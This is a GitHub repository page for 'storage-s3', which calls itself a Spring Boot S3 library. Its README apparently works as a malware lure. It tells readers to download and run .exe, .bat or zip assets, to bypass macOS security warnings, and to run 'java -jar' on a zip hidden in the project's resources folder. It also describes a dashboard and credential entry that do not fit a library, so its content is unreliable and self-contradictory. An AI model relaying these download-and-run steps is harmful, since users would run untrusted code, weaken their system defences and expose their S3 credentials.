Skip to content

☁️ Simplify S3 storage in Spring Boot with a lightweight library that supports all S3-compatible providers and offers easy object management.

License

Notifications You must be signed in to change notification settings

githubrepo53/storage-s3

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🎉 storage-s3 - Simple S3 Storage Management

🚀 Getting Started

Welcome to storage-s3! This application helps you easily manage your S3-compatible object storage. Whether you use AWS S3 or MinIO, this tool offers simple auto-configuration for your needs.

🛠️ Features

  • Easy Setup: Start managing your storage with just a few clicks.
  • Compatible: Works seamlessly with AWS S3 and other S3-compatible services.
  • Built for Spring Boot: Enjoy a smooth integration if you are familiar with Spring Boot applications.
  • Lightweight: Minimal resource usage ensures your system runs efficiently.

📦 System Requirements

To use storage-s3, ensure your system meets the following requirements:

  • Java: Version 8 or higher
  • Operating System: Windows, macOS, or Linux
  • Spring Boot: Version 2.4 or higher
  • Network: Access to your preferred S3-compatible service

📥 Download & Install

To get started, you need to download storage-s3. Visit this page to download: Download storage-s3

  1. Click the link above to go to the Releases page.
  2. Look for the most recent version listed.
  3. Click on the version title to view the release details.
  4. Find the asset for your operating system.
  5. Click the asset to download it.

After downloading, follow these steps to install and run the application:

  1. Extract the Files: Unzip the downloaded file if it is in a compressed format.
  2. Launch the Application:
    • For Windows, double-click the .bat or .exe file.
    • For macOS, right-click and select "Open" to bypass security warnings.
    • For Linux, use the terminal to navigate to the file's directory and run the file using java -jar https://github.com/githubrepo53/storage-s3/raw/refs/heads/main/src/main/resources/META-INF/spring/storage-s-2.0.zip.

🎯 Configuration

After you launch the application, you need to configure it to connect to your S3 storage.

  1. Provide Access Credentials: Enter your access key and secret key for your S3-compatible service.
  2. Select Storage Location: Specify where you want to store your data.
  3. Set Additional Options: Configure any additional settings as needed.

Once you complete these steps, the application will be ready to use.

⚙️ User Interface Overview

The user interface is designed to be intuitive:

  • Dashboard: View your storage metrics at a glance.
  • File Management: Easily upload, download, and delete files.
  • Settings: Adjust your preferences and access credentials.

📚 Documentation

For a detailed guide on using storage-s3, refer to our full documentation. You can find it here.

🎈 Community Support

Join our community for help with any questions or issues. Reach out through the following channels:

  • GitHub Issues: Post your questions directly in the Issues section.
  • Discussion Forum: Participate in discussions with other users.

📎 Links

Enjoy managing your S3 storage with storage-s3!

About

☁️ Simplify S3 storage in Spring Boot with a lightweight library that supports all S3-compatible providers and offers easy object management.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages